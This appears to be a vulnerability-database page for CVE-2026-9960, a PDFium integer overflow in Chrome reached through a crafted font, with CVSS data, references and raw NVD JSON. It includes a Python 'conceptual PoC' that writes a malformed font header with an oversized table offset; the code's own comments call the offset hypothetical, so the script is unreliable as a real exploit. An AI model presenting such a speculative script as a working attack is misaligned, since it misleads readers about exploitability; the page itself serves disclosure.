CVE-2026-9960

Description

Integer overflow in PDFium in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted font file. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Conceptual PoC for CVE-2026-9960
# This script generates a crafted font file structure to trigger the integer overflow in PDFium.

import struct

def create_crafted_font(filename):
    # Minimal OTF/TTF header structure
    # SFNT version
    header = b'\x00\x01\x00\x00'
    # Number of tables (normal value), we might manipulate offsets to cause overflow
    num_tables = struct.pack('>H', 1)
    # Search range, entry selector, range shift (standard values)
    header += num_tables + b'\x00\x80\x00\x03\x00\x00'
    
    # Table Directory Entry
    # Tag: 'glyf' (glyph data)
    table_tag = b'glyf'
    # Checksum (dummy)
    checksum = b'\x00\x00\x00\x00'
    # Offset: Set to a value that might cause overflow during calculation in PDFium
    # This is a hypothetical offset value for demonstration
    offset = struct.pack('>I', 0xFFFFFFF0)
    # Length: Length of table data
    length = struct.pack('>I', 0x00000010)
    
    table_entry = table_tag + checksum + offset + length
    
    with open(filename, 'wb') as f:
        f.write(header + table_entry)
        # Write dummy glyph data at the end to complete the file structure
        f.write(b'\x00' * 0x10)
    
    print(f"[+] Crafted font file saved to {filename}")

if __name__ == "__main__":
    create_crafted_font("crafted_font.otf")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9960
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9960
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9960/
[4] VulDB https://vuldb.com/cve/CVE-2026-9960
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/504573260

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9960", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:54.213", "lastModified": "2026-05-29T12:16:29.710", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in PDFium in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted font file. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/504573260", "source": "[email protected]"}]}}